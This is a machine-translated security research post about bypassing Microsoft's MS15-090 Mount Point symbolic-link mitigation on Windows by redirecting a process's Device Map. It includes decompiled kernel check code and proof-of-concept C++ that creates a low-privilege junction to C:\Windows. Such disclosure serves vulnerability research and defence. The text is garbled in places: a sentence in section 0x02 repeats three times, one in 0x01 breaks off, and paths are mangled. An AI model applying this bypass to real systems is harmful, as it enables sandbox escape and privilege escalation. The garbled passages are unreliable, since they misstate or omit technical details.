360 Security Guard · 2015/09/17 11:44
0 x00 background
Symbolic Link is a key mechanism in Microsoft Windows system. Since the introduction of Object and registry Symbolic Link in Windows NT3.1, Microsoft from Windows2000 also introduced NTFS Mount Point and Directory Juntions, these mechanisms are not unfamiliar to technical personnel familiar with the internal mechanism of Windows, in the famous Windows Internals series, also introduced these mechanisms. In the past, it has not been uncommon for security personnel to use Symbolic Link to attack system security mechanisms or security software.
After James Forshaw’s 2014 BlackHat report on the massive use of mount Point, registry symlinks to bypass the EPM sandbox in IE11, James Forshaw continues to exploit and expose a number of similar logic vulnerabilities using these mechanisms through Google Project Zero, which can penetrate the EPM sandbox of IE11, or use system services to enhance permissions, etc. At Syscan 2015, he summarized these vulnerabilities and attacks in A piece called “A Link to the Past: Abusing Symbolic Links on Windows.”
The 360Vulcan Team has also found multiple vulnerabilities that use Symbolic Link to bypass EPM sandboxes. At this year’s HITCON security conference, we revealed sandbox bypasses such as CVE-2014-6322 that we found, including an undisclosed EPM sandbox.
The frequent occurrence of the vulnerability of Symbolic Link attack is related to the Symbolic Link of the global object operated by the program with low permission, which makes the program with high permission access the unexpected resources. The exploit isn’t just limited to Windows. A well-known iOS6/7 jailbreak exploits the way symlinks are handled by services in Apple’s iOS system.
0x01 Microsoft’s mitigation measures
As these attacks become more frequent, Microsoft is looking for more effective ways to mitigate them. Since the problem of creating symbolic links with low permissions is at the heart of the problem, blocking the creation of symbolic links with low permissions is the natural solution.
In May of this year, Windows 10 released Build 10120, which the 360 security team analyzed. In this release, Microsoft added a registry symbolic link protection, preventing the “sandboxed” low-permission process from creating registry symbolic links. In subsequent beta versions, Microsoft continued to add protection against symbolic link creation for objects and Mount Point links, preventing low-privileged programs from creating these links. Specifically, these safeguards are modified in the Windows kernel program (ntoskrnl.exe) when creating symbolic links to registries, files, and objects. The system uses the RtlIsSandboxedToken to determine whether the current token is at a low integrity level or below (for example, AppContainer). If so, different strategies are adopted for the three symbolic links:
-
For registry symbolic links: Completely disallows the creation of any registry symbolic links by programs in the sandbox
-
For Object symbolic links: Sandboxed programs can create Object symbolic links, but special flags are added to the Object of the Object symbolic link. When a non-sandboxed program encounters a symbolic link created by the sandboxed program, the symbolic link does not take effect
-
For file (Mount Point) symbolic link: When a sandbox program creates an object symbolic link, the system checks whether the current process has write permissions (including write, append, delete, modify properties, etc.) for the linked target directory (such as c:\test\low\ to target C :\ Windows \). If it does not have these permissions, Or the target directory cannot be opened (for example, the target directory does not exist).
After the official release of Windows10 RTM, Microsoft moved with unusual speed (in The words of James Forshaw, it was almost impossible to believe Microsoft had done this) to the lower version of Windows operating system.
On August 11 of this year, Microsoft released patch MS15-090, which fixes the three vulnerabilities cVE-2015-2428 cVE-2015-2429 CVE-2015-2430 on Windows Vista\7\8\8.1 and server operating systems. Is to object, registry, file system these three symbolic links to ease the protection of the transplant to these operating systems. With considerable execution speed, Microsoft is trying to put an end to these vulnerabilities and consign them to history.
So, for Windows 10, including Windows7, 8, and 8.1 with the August patch, the symlink bug is gone forever?
The answer, of course, is no. As James Forshaw put it in his 44CON topic title, 2 Steps Forward, 1 Step Back, in the process of developing these mitigation measures, inadequate security/developers can also make these and other mistakes. It makes it possible for us to find ways to break through these mechanisms even after we deeply study and analyze them.
0x02 Bypass for ease
For Windows 10, the Mount Point Mitigation is called the Mount Point Mitigation for the directory. For Windows 10, the Mount Point Mitigation is called the Mount Point Mitigation for the directory. For Windows 10, the Mount Point Mitigation is called the Mount Point Mitigation for the directory. Therefore, the method introduced here is also a bypass attack against MS15-090 (CVE-2015-2430).
We said to the front, for file/directory of the Mount Point symbolic links, system is not completely banned sandbox programs to create them, but will check corresponds to the link to the target directory, whether the current process have write permissions, if can write (for example, we are located in the low level of integrity directory two inheritance of directory link). Links can be created. This gives us an attack surface to break through this defense, so how does this check work?
The code for this check is located in the IopXxxControlFile, the function that the kernel calls NtDeviceIoControl and NtFsControlFile ultimately call, which encapsulates the IRP for the device call and sends the IRP. FSCTL_SET_REPARSE_POINT, the device control code used to set NTFS Mount Point, is no exception. In this function, Microsoft has added a special check for FSCTL_SET_REPARSE_POINT. The logic is not complicated, as I have listed below:
#!c++
if ( IoControlCode == FSCTL_SET_REPARSE_POINT )
{
ReparseBuffer = Irp_1->AssociatedIrp.SystemBuffer;
if ( InputBufferLength >= 4 && ReparseBuffer->ReparseTag == IO_REPARSE_TAG_MOUNT_POINT )
{
SubjectSecurityContext.ClientToken = 0;
SubjectSecurityContext.ImpersonationLevel = 0;
SubjectSecurityContext.PrimaryToken = 0;
SubjectSecurityContext.ProcessAuditId = 0;
bIsSandboxedProcess = CurrentThread;
CurrentProcess = IoThreadToProcess(CurrentThread);
SeCaptureSubjectContextEx(bIsSandboxedProcess, CurrentProcess, &SubjectSecurityContext);
LOBYTE(bIsSandboxedProcess) = RtlIsSandboxedToken(&SubjectSecurityContext, AccessMode[0]);
status = SeReleaseSubjectContext(&SubjectSecurityContext);
if ( bIsSandboxedProcess )
{
status_1 = FsRtlValidateReparsePointBuffer(InputBufferLength, ReparseBuffer);
if ( status_1 < 0 )
{
IopExceptionCleanup(Object, Irp_1, *&v79[1], 0);
return status_1;
}
NameLength = ReparseBuffer->MountPointReparseBuffer.SubstituteNameLength;
MaxLen = NameLength;
NameBuffer = ReparseBuffer->MountPointReparseBuffer.PathBuffer;
ObjectAttributes.Length = 24;
ObjectAttributes.RootDirectory = 0;
ObjectAttributes.Attributes = OBJ_FORCE_ACCESS_CHECK | OBJ_KERNEL_HANDLE
ObjectAttributes.ObjectName = &NameLength;
ObjectAttributes.SecurityDescriptor = 0;
ObjectAttributes.SecurityQualityOfService = 0;
status_2 = ZwOpenFile(&FileHandle,
0x120116u,
&ObjectAttributes,
&IoStatusBlock,
FILE_SHARE_READ|FILE_SHARE_WRITE|FILE_SHARE_DELETE,
FILE_DIRECTORY_FILE);
if ( status_2 < 0 )
{
IopExceptionCleanup(Object, Irp_1, *&v79[1], 0);
return status_2;
}
status = ZwClose(FileHandle);
}
}
Copy the code
When the IoControlCode value is FSCTL_SET_REPARSE_POINT, the function will check whether the ReparseTag value is IO_REPARSE_TAG_MOUNT_POINT. The next step is to use RtlIsSandboxedToken to check if the current process is a sandbox process. If so, In using FsRtlValidateReparsePointBuffer check reparse point after the cache data format (the function in the file system driver will use when handling the reparse point), to pick up the target directory path, Use ZwOpenFile to try to open it, and return rejection if it cannot be opened.
Here to open the file there is a critical step, you can see the code ObjectAttributes. The Attributes set contains OBJ_FORCE_ACCESS_CHECK logo. ZwOpenFile is required to forcibly check whether the current process has permission to open the directory. Otherwise, ZwOpenFile will ignore the permission check directly after converting the kernel mode.
This check seems pretty tight. How do we break through? I looked into the mechanics to see if I could cheat the checking logic by switching the SubsituteName and PrintName positions in the PathBuffer. But later found FsRtlValidateReparsePointBuffer preliminary examination, has been forced to SubsituteName must be in the front.
Taking a closer look at the implementation of Set Reparse Point by Ntfs and Ntos, the author found that the specific object parsing and processing of Reparse Point is not completed by the current process in Ntfs. When NTFS receives a file System control request from Set Reparse Point, it simply stores the information in a file system structure until the program accessing the mount point accesses the corresponding path. The IO subsystem of the NTOS processes and parses the data. That is, the path sent by the current process is not processed specifically in the current process, that is, it can be invalid or does not point to the original target in the current process.
Given this fact, it’s not hard to figure out that we could have ZwOpenFile here in our process not actually open the c:\ Windows directory, but the path outside the process looks like it needs the real C :\ Windows.
After a little review of the IO subsystem code, I quickly came up with the corresponding trick: Device Map
The Device Map of a process is the system mechanism for setting “virtual DOS Device path” for a process in the system. It can be through the NtSetInformationProcess/NtQueryInformationProcess ProcessDeviceMap functions to set and query.
When the system kernel opens a DOS path such as C :\ Windows, NTDLL first prefixes it with \?? \, make it an NT path: \?? \ C :\ Windows, in general \? \ to \ GLOBAL?? \ and \ GLOBAL?? Under \ is C: a symbolic link to a disk partition Device, such as \Device\HarddiskVolumeX, so that eventually the object subsystem of the system can find the corresponding file system driver and send the relevant file operation request.
The Device Map modification mechanism allows us to change \?? \ points to another object directory. In ProcessDeviceMap, we can simply fill in the corresponding object directory handle to change the \?? Of the current process (or the corresponding process being set). \ maps to our object directory, for example, putting \?? \ No longer points to \GLOBAL?? \, but \BaseNamedObjects. This mechanism allows applications to have multiple virtual \? \ root, which is used by Windows’ own kernel mechanisms such as the WindowStation management mechanism.
Here, we can use this technique to bypass the security check of ZwOpenFile, as follows:
(Assume that the low permission accessible directory we use for testing is C :\users\test\desktop\low)
-
Create c:\users\test\desktop\low\ Windows directory, which we can access, and create a directory under low with any name to link to the Windows directory, for example, called low\ demo directory. Because we want to modify the system default DOS device root directory, and then use win32 API operation file will be more troublesome
-
Place the current Device Map as \?? \ uses the NtSetInformationProcess to map to a writable object directory, such as the \Session\X\BaseNamedObjects object directory for low-integrity processes, to which we can map
-
Create an object symbolic link named C: in the \Session\X\BaseNamedObjects object directory to link to \GLOBAL?? \ C :\users\test\desktop\low, note that we must use GLOBAL? Rather than \?? \ Because the default \? We have moved it to another place
The object symbolic link here is used by our current process. As mentioned above, the symbolic link inside the sandbox is only used by the sandbox process, so there is no problem.
-
At this point, the current process’s \?? \ C: \ Windows actually becomes \BaseNamedObjects\c:\ Windows, and since the c: under \BaseNamedObjects is the symbolic link we set up, this path will eventually be resolved to \GLOBAL?? \C:\ Users \test\desktop\low\ Windows, which is the Windows directory we created in the first step that we can access
-
Finally, create a link for the demo directory under low to \?? \ C :\ Windows, here IopXxxControlFile in the use of ZwOpenFile permission check, naturally checked to our set of spoofs directory, and think we have write permission to this directory, so as to allow creation.
-
However, after the Mount Point is created, the path information has been loaded into the file system, and when another process accesses it, it will find that the demo directory points to the real \?? \ C :\ Windows directory, we managed to bypass the Mount Point ease and create effective low-permission accessible symbolic links to high-permission directories.
Here is an example of key code for the attack:
#! c++ CreateDirectory("c:\\users\\test\\desktop\\low\\windows" , 0 ) CreateDirectory("c:\\users\\test\\desktop\\low\\demo" , 0) HANDLE hlink = CreateFile("c:\\users\\test\\desktop\\low\\demo" , GENERIC_WRITE , FILE_SHARE_READ , 0 , OPEN_EXISTING , FILE_FLAG_BACKUP_SEMANTICS, 0 ); NtOpenDirectoryObject(&hObjDir , DIRECTORY_TRAVERSE , &oba); //"\\Sessions\\1\\BaseNamedObjects" NtSetInformationProcess(GetCurrentProcess() , ProcessDeviceMap , &hObjDir ,sizeof(HANDLE)); NtCreateSymbolicLinkObject(&hObjLink , LINK_QUERY , &oba2 , &LinkTarget) ; //oba2: "\\?? \\c:" link target:"\\GLOBAL?? \\C:\\users\ \test\\desktop\\low" WCHAR NtPath[MAX_PATH] = L"\\?? \\C:\\WINDOWS\\"; WCHAR wdospath[MAX_PATH] = L"c:\\windows\\"; DWORD btr ; PREPARSE_DATA_BUFFER pBuffer; DWORD buffsize ; pBuffer = (PREPARSE_DATA_BUFFER)malloc(sizeof(REPARSE_DATA_BUFFER) + (wcslen(NtPath) + wcslen(wdospath)) * 2 + 2); pBuffer->ReparseTag = IO_REPARSE_TAG_MOUNT_POINT; pBuffer->ReparseDataLength = sizeof(REPARSE_DATA_BUFFER) + (wcslen(NtPath) + wcslen(wdospath)) * 2 - 8 ; pBuffer->Reserved = 0 ; pBuffer->MountPointReparseBuffer.SubstituteNameLength = wcslen(NtPath) * 2 ; pBuffer->MountPointReparseBuffer.SubstituteNameOffset = 0 ; pBuffer->MountPointReparseBuffer.PrintNameLength = wcslen(wdospath) * 2 ; pBuffer->MountPointReparseBuffer.PrintNameOffset = wcslen(NtPath) * 2 + 2 ; memcpy((PCHAR)pBuffer->MountPointReparseBuffer.PathBuffer , (PCHAR)NtPath , wcslen(NtPath) * 2 + 2); memcpy((PCHAR)((PCHAR)pBuffer->MountPointReparseBuffer.PathBuffer + wcslen(NtPath) * 2 + 2) , (PCHAR)wdospath , wcslen(wdospath) * 2 + 2) ; buffsize = sizeof(REPARSE_DATA_BUFFER) + (wcslen(NtPath) + wcslen(wdospath)) * 2 ; DeviceIoControl(hlink , FSCTL_SET_REPARSE_POINT , pBuffer , buffsize, NULL , 0 , &btr , 0 );Copy the code
A screenshot of the successful test program is shown below:
You can see that the low-privileged poc_mklink successfully created directory 1, linked to the JUNCTION of C :\ Windows.